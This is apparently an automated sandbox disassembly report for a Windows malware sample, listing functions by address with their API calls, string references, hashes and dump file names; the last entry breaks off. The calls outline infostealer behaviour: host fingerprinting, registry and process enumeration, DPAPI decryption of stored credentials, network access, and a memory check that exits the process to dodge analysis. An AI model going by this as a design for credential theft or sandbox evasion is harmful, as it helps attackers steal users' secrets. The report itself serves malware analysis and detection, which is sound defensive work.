Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000,00000000), ref: 00409CAD
DeleteFileA.KERNEL32(00000000), ref: 00409FEB

Strings

X@, xrefs: 00409BC4, 00409BF0, 00409FCD, 00409BC7, 00409BF3, 00409FD0

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID: X@
API String ID: 3258613111-2850556465
Opcode ID: 371bba8cd10129273cf13519b12d783a6cc4e51a1c7585437c1b4950ba6ca0b2
Instruction ID: 2c33cae03801d958c4ae3b54aeafa9a4cd6fcf0b26d14f023aa6c6649fdb6e4d
Opcode Fuzzy Hash: 371bba8cd10129273cf13519b12d783a6cc4e51a1c7585437c1b4950ba6ca0b2
Instruction Fuzzy Hash: 4CD1B372D101189BCB15FBA5EC51EEE7739AF14304F51416EF11673092EF38AA89CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004011E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
__aulldiv.LIBCMT ref: 00401218
__aulldiv.LIBCMT ref: 00401226
ExitProcess.KERNEL32 ref: 00401254

Strings

@, xrefs: 004011F3

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 4ba05935f44ab2b4d789e44d08bf17577f3e6861a985c5d0a50b09be66756692
Instruction ID: 45440d4ce8d5376c626ba9dfc11109ed1a6213c22ef63cd59a69290e8d137516
Opcode Fuzzy Hash: 4ba05935f44ab2b4d789e44d08bf17577f3e6861a985c5d0a50b09be66756692
Instruction Fuzzy Hash: 1A01FFB0940208EBDB10EFD0CD4AB9EBBB8AB54705F204059E605B61D0D67855458759

Uniqueness

Uniqueness Score: -1.00%

Function 61E541A0 Relevance: 8.3, APIs: 2, Strings: 3, Instructions: 772stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E541DC
strcmp.MSVCRT ref: 61E543C4

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

@, xrefs: 61E54291
rnal, xrefs: 61E547EC
$[a, xrefs: 61E549DA

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: strcmp$free
String ID: $[a$@$rnal
API String ID: 3401341699-3833003606
Opcode ID: 78b760fc98ffef2af943c5f40feba15c998d0b336cefef634dff3b6e466b1145
Instruction ID: 0ce42be2a52064457b78e7c31244c3f07411abd0ae8e299ce13c5538bbb98839
Opcode Fuzzy Hash: 78b760fc98ffef2af943c5f40feba15c998d0b336cefef634dff3b6e466b1145
Instruction Fuzzy Hash: 70822470A04259CFEB60CF68C880B89BBF1BF45308F2481EAD8589B352E775D9A5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E4C7C5 Relevance: 8.0, APIs: 4, Strings: 1, Instructions: 467COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E4C91F
memcmp.MSVCRT ref: 61E4C973
memcmp.MSVCRT ref: 61E4C9F2
memcmp.MSVCRT ref: 61E4CC23

Strings

0, xrefs: 61E4CC0C

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: 0
API String ID: 1475443563-4108050209
Opcode ID: 5e6f3149d2315a7f97a97c29b0eb816d1210dd2dcce0a1c73a13da43e11864dd
Instruction ID: 3bb57cbd4086e38ca070a1eb41e2420ec87b0c0feb17810d174f813009c16240
Opcode Fuzzy Hash: 5e6f3149d2315a7f97a97c29b0eb816d1210dd2dcce0a1c73a13da43e11864dd
Instruction Fuzzy Hash: 66127D70F05255CFEB05CFA8E484789BBF1AF48318F25C1A9D845AB356D774E88ACB80

Uniqueness

Uniqueness Score: -1.00%

Function 004142F0 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414304
HeapAlloc.KERNEL32(00000000), ref: 0041430B
RegOpenKeyExA.KERNEL32(80000002,02C35FC8,00000000,00020119,00000000), ref: 0041432B
RegQueryValueExA.KERNEL32(00000000,02C56AC0,00000000,00000000,000000FF,000000FF), ref: 0041434C
RegCloseKey.ADVAPI32(00000000), ref: 00414356

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction ID: 7703441b58cfb1fc141809da53d6e029f4262b494bf2702c048ea568c542aaa9
Opcode Fuzzy Hash: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction Fuzzy Hash: 46013CB5A40608BFDB20DBE4ED49FAEB77DEB88701F005154FA05A7290DA70AA018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00414730 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414744
HeapAlloc.KERNEL32(00000000), ref: 0041474B
RegOpenKeyExA.KERNEL32(80000002,02C36000,00000000,00020119,00000000), ref: 0041476B
RegQueryValueExA.KERNEL32(00000000,02C57648,00000000,00000000,000000FF,000000FF), ref: 0041478C
RegCloseKey.ADVAPI32(00000000), ref: 00414796

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction ID: cff109726c73a8670ea0eef732f336ebb4ec6a610c763f62f7b14754f2269efd
Opcode Fuzzy Hash: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction Fuzzy Hash: B1013C75A40608FFDB20DBE4ED49FAEB779EB88700F008159FA05A6290DB705A018F90

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@:h@,@:h@), ref: 0040668F

Strings

:h@, xrefs: 0040660D, 00406629, 00406678, 00406688, 004065F4, 00406618, 00406623
@:h@, xrefs: 00406670, 00406673
:h@, xrefs: 004065DD, 004065FD, 0040667F

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: :h@$:h@$@:h@
API String ID: 544645111-3492212131
Opcode ID: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction ID: 05c83ec730d02739dc9afbe7597ff905435882b08ae1c12394b3aafa6fe5c026
Opcode Fuzzy Hash: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction Fuzzy Hash: 272131B4A00208EFDB04CF85C544BAEBBB1FF48304F1185AAD406AB381D3399A91DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD10 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 004141B0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141CF
Part of subcall function 004141B0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041420C
Part of subcall function 004141B0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414290
Part of subcall function 004141B0: HeapAlloc.KERNEL32(00000000), ref: 00414297

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 004142F0: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414304
Part of subcall function 004142F0: HeapAlloc.KERNEL32(00000000), ref: 0041430B
Part of subcall function 004142F0: RegOpenKeyExA.KERNEL32(80000002,02C35FC8,00000000,00020119,00000000), ref: 0041432B
Part of subcall function 004142F0: RegQueryValueExA.KERNEL32(00000000,02C56AC0,00000000,00000000,000000FF,000000FF), ref: 0041434C
Part of subcall function 004142F0: RegCloseKey.ADVAPI32(00000000), ref: 00414356

Part of subcall function 00414370: GetCurrentProcess.KERNEL32(00000000,?,?,0040FF99,00000000,?,02C57468,00000000,?,0041D74C,00000000,?,00000000,00000000,?,02C52480), ref: 0041437F
Part of subcall function 00414370: IsWow64Process.KERNEL32(00000000,?,?,0040FF99,00000000,?,02C57468,00000000,?,0041D74C,00000000,?,00000000,00000000,?,02C52480), ref: 00414386

Part of subcall function 004143B0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02C523D0,004136DB,0041D6E3), ref: 004143BD
Part of subcall function 004143B0: HeapAlloc.KERNEL32(00000000), ref: 004143C4
Part of subcall function 004143B0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143DC

Part of subcall function 004143F0: GetProcessHeap.KERNEL32(00000000,00000104,004136DB,0041D6E3), ref: 004143FD
Part of subcall function 004143F0: HeapAlloc.KERNEL32(00000000), ref: 00414404
Part of subcall function 004143F0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041441C

Part of subcall function 00414440: GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041444D
Part of subcall function 00414440: HeapAlloc.KERNEL32(00000000), ref: 00414454
Part of subcall function 00414440: GetLocalTime.KERNEL32(?), ref: 00414461
Part of subcall function 00414440: wsprintfA.USER32 ref: 00414490

Part of subcall function 004144A0: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,02C56CA0,00000000,?,0041D758,00000000,?,00000000,00000000,?,02C57668,00000000), ref: 004144B0
Part of subcall function 004144A0: HeapAlloc.KERNEL32(00000000), ref: 004144B7
Part of subcall function 004144A0: GetTimeZoneInformation.KERNEL32(?), ref: 004144CA

Part of subcall function 00414520: GetUserDefaultLocaleName.KERNEL32(00000000,00000055,00000000,00000000,?,02C56CA0,00000000,?,0041D758,00000000,?,00000000,00000000,?,02C57668,00000000), ref: 00414532

Part of subcall function 00414560: GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041458E
Part of subcall function 00414560: LocalAlloc.KERNEL32(00000040,?), ref: 004145A6
Part of subcall function 00414560: GetKeyboardLayoutList.USER32(?,00000000), ref: 004145BA
Part of subcall function 00414560: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041460F
Part of subcall function 00414560: LocalFree.KERNEL32(00000000), ref: 004146CF

Part of subcall function 00414700: GetSystemPowerStatus.KERNEL32(00000000), ref: 0041470A

GetCurrentProcessId.KERNEL32(00000000,?,02C57528,00000000,?,0041D76C,00000000,?,00000000,00000000,?,02C56CD0,00000000,?,0041D768,00000000), ref: 0041037E

Part of subcall function 00415B60: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B74
Part of subcall function 00415B60: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415B95
Part of subcall function 00415B60: CloseHandle.KERNEL32(00000000), ref: 00415B9F

Part of subcall function 00414730: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414744
Part of subcall function 00414730: HeapAlloc.KERNEL32(00000000), ref: 0041474B
Part of subcall function 00414730: RegOpenKeyExA.KERNEL32(80000002,02C36000,00000000,00020119,00000000), ref: 0041476B
Part of subcall function 00414730: RegQueryValueExA.KERNEL32(00000000,02C57648,00000000,00000000,000000FF,000000FF), ref: 0041478C
Part of subcall function 00414730: RegCloseKey.ADVAPI32(00000000), ref: 00414796

Part of subcall function 004147F0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00414836
Part of subcall function 004147F0: GetLastError.KERNEL32 ref: 00414845

Part of subcall function 004147B0: GetSystemInfo.KERNEL32(00000000), ref: 004147BD
Part of subcall function 004147B0: wsprintfA.USER32 ref: 004147D3

Part of subcall function 00414950: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,02C56BC8,00000000,?,0041D774,00000000,?,00000000,00000000,?,02C56B68), ref: 0041495D
Part of subcall function 00414950: HeapAlloc.KERNEL32(00000000), ref: 00414964
Part of subcall function 00414950: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414985
Part of subcall function 00414950: __aulldiv.LIBCMT ref: 0041499F
Part of subcall function 00414950: __aulldiv.LIBCMT ref: 004149AD
Part of subcall function 00414950: wsprintfA.USER32 ref: 004149D9

Part of subcall function 00414EC0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F0C
Part of subcall function 00414EC0: HeapAlloc.KERNEL32(00000000), ref: 00414F13
Part of subcall function 00414EC0: wsprintfA.USER32 ref: 00414F2D

Part of subcall function 00414AD0: RegOpenKeyExA.KERNEL32(00000000,02C53B08,00000000,00020019,00000000,0041D289), ref: 00414B31

Part of subcall function 00414AD0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BB3
Part of subcall function 00414AD0: wsprintfA.USER32 ref: 00414BE6
Part of subcall function 00414AD0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C08
Part of subcall function 00414AD0: RegCloseKey.ADVAPI32(00000000), ref: 00414C19
Part of subcall function 00414AD0: RegCloseKey.ADVAPI32(00000000), ref: 00414C26

Part of subcall function 00414DD0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414DF7
Part of subcall function 00414DD0: Process32First.KERNEL32(00000000,00000128), ref: 00414E0B
Part of subcall function 00414DD0: Process32Next.KERNEL32(00000000,00000128), ref: 00414E20
Part of subcall function 00414DD0: FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E8E

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041095B

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02C52620), ref: 00404ED9

Strings

E.A, xrefs: 00410981, 004109AC, 00410984

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CloseOpen$wsprintf$Namelstrcpy$InformationLocallstrlen$CurrentInfoKeyboardLayoutListLocaleProcess32QueryStatusSystemTimeUserValue__aulldivlstrcat$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleInternetLastLogicalMemoryModuleNextNotificationPowerProcessorSnapshotToolhelp32VolumeWindowsWow64Zone
String ID: E.A
API String ID: 1035121393-2211245587
Opcode ID: bf5cde28b348b08439e3a31ba28a6de3cfe636ca9ff80598fc4068b9734de0c2
Instruction ID: 3f0a2cd3ac6a304f913b6bd041f9e2b50ececc6b8ac6e0eb373d21db185c26f0
Opcode Fuzzy Hash: bf5cde28b348b08439e3a31ba28a6de3cfe636ca9ff80598fc4068b9734de0c2
Instruction Fuzzy Hash: 46727F76D10118ABCB15FB91ECA1EDE7339AF54308F5142EEB11663091EF347B89CA68

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415520: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415542

StrStrA.SHLWAPI(00000000,02C56A30), ref: 0040971B

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

memcmp.MSVCRT ref: 00409774

Part of subcall function 00409540: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
Part of subcall function 00409540: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
Part of subcall function 00409540: LocalFree.KERNEL32(?), ref: 004095AF

Strings

DPAPI, xrefs: 0040976B
, xrefs: 004097A3

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2647593125-1819349886
Opcode ID: c2ea2ea29dc605838c9ad8f8e77ef97f7bda535018db70563ade50422cebf086
Instruction ID: faee31dc20fdb8fcd1fcf8d348b73f748f6fe9f121850bf2cef5e105b709673c
Opcode Fuzzy Hash: c2ea2ea29dc605838c9ad8f8e77ef97f7bda535018db70563ade50422cebf086
Instruction Fuzzy Hash: 043154B6D10108EBCF04DF94DC55AEFB7B9AF48704F04452DE905B3292E7389A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004137A3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02C52310,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041377A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00413798
CloseHandle.KERNEL32(00000000), ref: 004137A9
Sleep.KERNEL32(00001770), ref: 004137B4
CloseHandle.KERNEL32(?,00000000,?,02C52310,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137CA
ExitProcess.KERNEL32 ref: 004137D2

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 9888ad4b9b75df52d9252f044138b36ba70289018e8cc2450e9e4532845a7440
Instruction ID: 3c9cfd63a298db153aacfd779b3f4dd166fc78d9a0fb21256e79a3126225dc09
Opcode Fuzzy Hash: 9888ad4b9b75df52d9252f044138b36ba70289018e8cc2450e9e4532845a7440
Instruction Fuzzy Hash: 93F05EF0A04205AAF720AFA0DD09BFE7A75BB08706F10855AF522A51C0DFF85681CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 61E4928D Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 309fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 61E4947D

Strings

winOpen, xrefs: 61E49605
exclusive, xrefs: 61E493FC

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: CreateFile
String ID: exclusive$winOpen
API String ID: 823142352-1568912604
Opcode ID: 93852fc1f9906f6b65dfb38e4730e413a8810dad8c8ffeaea319df23af5783a5
Instruction ID: ddd978882cd5270fa8f94071a9300b4b805ea89cb158bd2aa8a7dfbc70792811
Opcode Fuzzy Hash: 93852fc1f9906f6b65dfb38e4730e413a8810dad8c8ffeaea319df23af5783a5
Instruction Fuzzy Hash: B4D1A2709047499FDB10DFA9D58478EBBF0AF88318F208929E868EB394E774D985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00406730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Pi@, xrefs: 00406884, 004067C2, 0040679E, 0040689F, 0040684E

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID:
String ID: Pi@
API String ID: 0-1360946908
Opcode ID: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction ID: 3f88eb2955586587a3c5434ba22eddf72c56c6352c096767484d1fdcefaac843
